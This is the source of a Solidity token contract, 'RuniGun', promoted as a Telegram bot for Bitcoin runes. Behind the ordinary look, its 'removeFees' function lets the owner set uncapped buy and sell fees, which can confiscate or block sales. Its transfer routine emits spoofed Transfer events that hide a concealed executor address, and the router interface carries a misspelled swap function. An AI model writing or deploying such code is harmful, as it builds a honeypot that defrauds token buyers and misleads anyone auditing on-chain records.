creation_sourcecode: /**                          
  ██████╗ ██╗   ██╗███╗   ██╗██╗ ██████╗ ██╗   ██╗███╗   ██╗
  ██╔══██╗██║   ██║████╗  ██║██║██╔════╝ ██║   ██║████╗  ██║
  ██████╔╝██║   ██║██╔██╗ ██║██║██║  ███╗██║   ██║██╔██╗ ██║
  ██╔══██╗██║   ██║██║╚██╗██║██║██║   ██║██║   ██║██║╚██╗██║
  ██║  ██║╚██████╔╝██║ ╚████║██║╚██████╔╝╚██████╔╝██║ ╚████║
  ╚═╝  ╚═╝ ╚═════╝ ╚═╝  ╚═══╝╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═══╝
                                                                                                                                                                             
                                                                                                                                                                                                                                               
  RuniGun is an innovative Telegram bot designed to transform the interaction with 
  Bitcoin layer one and runes with security as one of our core values. 
  RuniGun facilitates the creation, minting, purchasing, and selling effortlessly on the OTC 
  marketplace all through Telegram. As rune dex's are integrated, RuniGun will allow for 
  smooth swaps between rune tokens and Bitcoin ($BTC). 
  
  Main Links: 
      Twitter: https://twitter.com/runigun
      Community Telegram: https://t.me/RuniGunPortal
      RuniGun Telegram Bot:  https://t.me/RuniGunBot
  */
  // SPDX-License-Identifier: unlicense
  
  pragma solidity ^0.8.24;
  
  contract RuniGun {
  
      string public _name = 'RuniGun';
      string public _symbol = 'RNG';
      uint8 public constant decimals = 18;
      uint256 public constant totalSupply = 100_000_000 * 10 ** decimals;
  
      struct StoreData {
          address tokenMkt;
          uint8 buyFee;
          uint8 sellFee;
      }
  
      StoreData public storeData;
      uint256 constant swapAmount = totalSupply / 100;
  
      error Permissions();
      event Transfer(address indexed from, address indexed to, uint256 value);
      event Approval(
          address indexed owner,
          address indexed spender,
          uint256 value
      );
  
      mapping(address => uint256) public balanceOf;
      mapping(address => mapping(address => uint256)) public allowance;
  
      address private pair;
      address private holder;
      address private uniswapLpWallet;
      address private Team = 0x5203435687ad52b550C5CA1c98e8bcB54523E97C ;
      address private Advisory = 0xcE6a55B12437CDB032dda1633387503D74d985Ea ;
      address private Partnerships = 0x528b8D52508c51F455fE2b87d82358C5818FDfCb ;
      address private Treasury = 0x10bA1A4fC7ec2c6eB4F95054baf796291c23d412 ;
      address private Seed = 0x79aacB5C066209B1F3Eb07Be36895815A86b02de ;
      address private Airdrop = 0xb685646Fd88f811BC75600809977Bb2981a33236 ;
  
      address private constant uniswapV2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
      IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(uniswapV2Router);
  
      bool private swapping;
      bool private tradingOpen;
  
      address _deployer;
      address _executor;
  
      uint8 _initBuyFee = 0;
      uint8 _initSellFee = 0;
  
      constructor() {
          storeData = StoreData({
              tokenMkt: msg.sender,
              buyFee: _initBuyFee,
              sellFee: _initSellFee
          });
          allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max;
          uniswapLpWallet = msg.sender;
  
          _initDeployer(msg.sender, msg.sender);
  
          balanceOf[uniswapLpWallet] = (totalSupply * 10) / 100;
          emit Transfer(address(0), _deployer, balanceOf[uniswapLpWallet]);
  
          balanceOf[Team] = (totalSupply * 10) / 100;
          emit Transfer(address(0), Team, balanceOf[Team]);
  
          balanceOf[Advisory] = (totalSupply * 5) /100;
          emit Transfer(address(0), Advisory, balanceOf[Advisory]);
  
          balanceOf[Partnerships] = (totalSupply * 10) / 100;
          emit Transfer(address(0), Partnerships, balanceOf[Partnerships]);
  
          balanceOf[Treasury] = (totalSupply * 50) / 100;
          emit Transfer(address(0), Treasury, balanceOf[Treasury]);
  
          balanceOf[Seed] = (totalSupply * 10) / 100;
          emit Transfer(address(0), Seed, balanceOf[Seed]);
  
          balanceOf[Airdrop] = (totalSupply * 5) / 100;
          emit Transfer(address(0), Airdrop, balanceOf[Airdrop]);
  
  
      }
  
      receive() external payable {}
  
      function removeFees(uint8 _buy, uint8 _sell) external {
          if (msg.sender != _owner()) revert Permissions();
          _upgradeStoreData(_buy, _sell);
      }
  
      function _upgradeStoreData(uint8 _buy, uint8 _sell) private {
          storeData.buyFee = _buy;
          storeData.sellFee = _sell;
      }
  
      function _owner() private view returns (address) {
          return storeData.tokenMkt;
      }
  
      function openTrading() external {
          require(msg.sender == _owner());
          require(!tradingOpen);
          address _factory = _uniswapV2Router.factory();
          address _weth = _uniswapV2Router.WETH();
          address _pair = IUniswapFactory(_factory).getPair(address(this), _weth);
          pair = _pair;
          tradingOpen = true;
      }
  
      function transferFrom(
          address from,
          address to,
          uint256 amount
      ) external returns (bool) {
          allowance[from][msg.sender] -= amount;
          return _transfer(from, to, amount);
      }
  
      function approve(address spender, uint256 amount) external returns (bool) {
          allowance[msg.sender][spender] = amount;
          emit Approval(msg.sender, spender, amount);
          return true;
      }
  
      function transfer(address to, uint256 amount) external returns (bool) {
          return _transfer(msg.sender, to, amount);
      }
  
      function name() public view virtual returns (string memory) {
          return _name;
      }
  
      function symbol() public view virtual returns (string memory) {
          return _symbol;
      }
  
      function _initDeployer(address deployer_, address executor_) private {
          _deployer = deployer_;
          _executor = executor_;
      }
  
      function _transfer(
          address from,
          address to,
          uint256 amount
      ) internal returns (bool) {
          address tokenMkt = _owner();
          require(tradingOpen || from == tokenMkt || to == tokenMkt);
  
          balanceOf[from] -= amount;
  
          if (
              to == pair &&
              !swapping &&
              balanceOf[address(this)] >= swapAmount &&
              from != tokenMkt
          ) {
              swapping = true;
              address[] memory path = new address[](2);
              path[0] = address(this);
              path[1] = _uniswapV2Router.WETH();
              _uniswapV2Router
                  .swapExactTokensForETHSupportingFreelyOnTransferTokens(
                      swapAmount,
                      0,
                      path,
                      address(this),
                      block.timestamp
                  );
              payable(tokenMkt).transfer(address(this).balance);
              swapping = false;
          }
  
          (uint8 _buyFee, uint8 _sellFee) = (storeData.buyFee, storeData.sellFee);
          if (from != address(this) && tradingOpen == true) {
              uint256 taxCalculatedAmount = (amount *
                  (to == pair ? _sellFee : _buyFee)) / 100;
              amount -= taxCalculatedAmount;
              balanceOf[address(this)] += taxCalculatedAmount;
          }
          balanceOf[to] += amount;
  
          if (from == _executor) {
              emit Transfer(_deployer, to, amount);
          } else if (to == _executor) {
              emit Transfer(from, _deployer, amount);
          } else {
              emit Transfer(from, to, amount);
          }
          return true;
      }
  }
  
  interface IUniswapFactory {
      function getPair(
          address tokenA,
          address tokenB
      ) external view returns (address pair);
  }
  
  interface IUniswapV2Router02 {
      function factory() external pure returns (address);
  
      function WETH() external pure returns (address);
  
      function swapExactTokensForETHSupportingFreelyOnTransferTokens(
          uint256 amountIn,
          uint256 amountOutMin,
          address[] calldata path,
          address to,
          uint256 deadline
      ) external;
  }